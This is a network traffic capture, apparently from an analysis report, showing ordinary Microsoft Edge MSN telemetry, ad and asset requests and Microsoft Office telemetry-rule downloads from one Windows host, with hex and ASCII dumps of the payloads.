2024-11-20 20:05:53 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:53 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ef5a3f56-e01e-0029-4f75-3b1e45000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200553Z-185f5d8b95csd4bwhC1NYCq7dc0000000ap000000000fyra Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:53 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49859	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138119235&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3849 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1
2024-11-20 20:05:53 UTC	3849	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 33 39 2e 32 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T21:28:39.231Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"locale
2024-11-20 20:05:53 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a3475bdc704e43b5a4255d16ce5998b9&HASH=a347&LV=202411&V=4&LU=1732133153341; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:05:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e4c7bb37db1540ffad77cbc113491175; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:35:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4965894 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:05:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49862	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:53 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:53 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: cccbf3d8-c01e-0053-641b-3b7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200553Z-178bfbc474bq2pr7hC1NYCkfgg00000000m000000000ka94 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:53 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200553Z-185f5d8b95cqnkdjhC1NYCm8w80000000agg00000000xe7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49872	20.110.205.119	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	1261	OUT	GET /c.gif?rnd=1732138119238&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eecc922ded064b33aac1b2e0c7847c2c&activityId=eecc922ded064b33aac1b2e0c7847c2c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2138C86C89784A28B6BCD8845DB9A64F&MUID=27F5C03F1FAA650B38E3D5021EB364FD HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; SM=T
2024-11-20 20:05:54 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=27F5C03F1FAA650B38E3D5021EB364FD; domain=.msn.com; expires=Mon, 15-Dec-2025 20:05:54 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=27F5C03F1FAA650B38E3D5021EB364FD; domain=c.msn.com; expires=Mon, 15-Dec-2025 20:05:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 20:05:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 20:15:54 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 20:05:53 GMT Connection: close Content-Length: 42
2024-11-20 20:05:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-185f5d8b95cgrrn8hC1NYCgwh40000000ae000000001c970 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3369a0ea-601e-0002-63f2-3aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-r1d97b99577ndm4rhC1TEBf0ps00000009e000000000ddmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-178bfbc474btvfdfhC1NYCa2en00000000h0000000005g3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200554Z-185f5d8b95c4vwv8hC1NYCy4v40000000aug00000000r24a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49879	20.1.248.118	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:54 UTC	1010	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=27F5C03F1FAA650B38E3D5021EB364FD&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b3e94f86ed1d4e15f6fe2c2726e458c7 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; _C_ETH=1
2024-11-20 20:05:55 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2768 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132600-T700343875-C128000000002116129+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116129+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 20:05:54 GMT Connection: close
2024-11-20 20:05:55 UTC	2768	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 61 6a 61 6d 61 20 4e 50 2c 20 42 6f 6c 69 76 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 61 6a 61 6d 61 2b 4e 61 74 69 6f Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Sajama NP, Bolivia\",\"cta\":\"https:\/\/www.bing.com\/search?q=Sajama+Natio

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
